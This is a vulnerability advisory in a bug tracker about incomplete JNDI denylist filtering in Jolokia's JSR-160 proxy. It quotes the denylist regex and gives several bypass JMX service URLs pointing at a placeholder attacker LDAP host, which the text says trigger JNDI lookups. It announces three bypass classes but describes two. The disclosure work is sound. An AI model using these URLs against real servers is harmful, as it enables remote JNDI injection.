Bug 2526752 (CVE-2026-84218) - CVE-2026-84218 org.jolokia/jolokia-core: Incomplete JNDI Denylist in Jolokia JSR-160 Proxy (Bypass of CVE-2018-1000130 Fix)
Summary: CVE-2026-84218 org.jolokia/jolokia-core: Incomplete JNDI Denylist in Jolokia ...
Keywords:
Status: NEW
Alias: CVE-2026-84218
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-09-01 12:34 UTC by OSIDB Bzimport
Modified: 2026-09-01 12:54 UTC (History)
25 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-09-01 12:34:16 UTC
Jolokia's JSR-160 proxy mode accepts a client-supplied JMX service URL
(target.url in a POST body) and connects to it using
JMXConnectorFactory. The fix for CVE-2018-1000130 (Jolokia 1.5.0,
2018) added a default denylist to block LDAP-based JNDI injection. That
denylist consists of a single regular expression, which remains identical
on both the 1.x and 2.x branches as of this writing:

service:jmx:rmi:///jndi/ldap:.*

Matching is performed as a full-string regex match
(Pattern.compile(pattern, CASE_INSENSITIVE).matcher(url).matches()).

This pattern is incomplete. At least three classes of LDAP JNDI URLs
pass through the filter:

Bypass 1 -- ldaps:// scheme:
The pattern requires the literal substring ldap: immediately after
/jndi/. The LDAP-over-TLS scheme ldaps: does not match.

    Bypassing URL: service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref

Bypass 2 -- Non-empty JMX host in the service URL:
The pattern is anchored to service:jmx:rmi:///jndi/... (three slashes,
meaning the JMX host component is empty). A JMX service URL with a
non-empty host such as service:jmx:rmi://localhost/jndi/ldap://... is
a valid JMXServiceURL whose path is still /jndi/ldap://..., but
the full string does not match the regex.

    Bypassing URL: service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref
    Bypassing URL: service:jmx:rmi://127.0.0.1:0/jndi/ldap://attacker:1389/o=ref

All three bypass URLs parse into valid JMXServiceURL objects and, when
passed to JMXConnectorFactory.newJMXConnector().connect(), trigger a
JNDI lookup against the attacker-controlled endpoint.

Upstream Issue: https://github.com/jolokia/jolokia/issues/1049


Note You need to log in before you can comment on or make changes to this bug.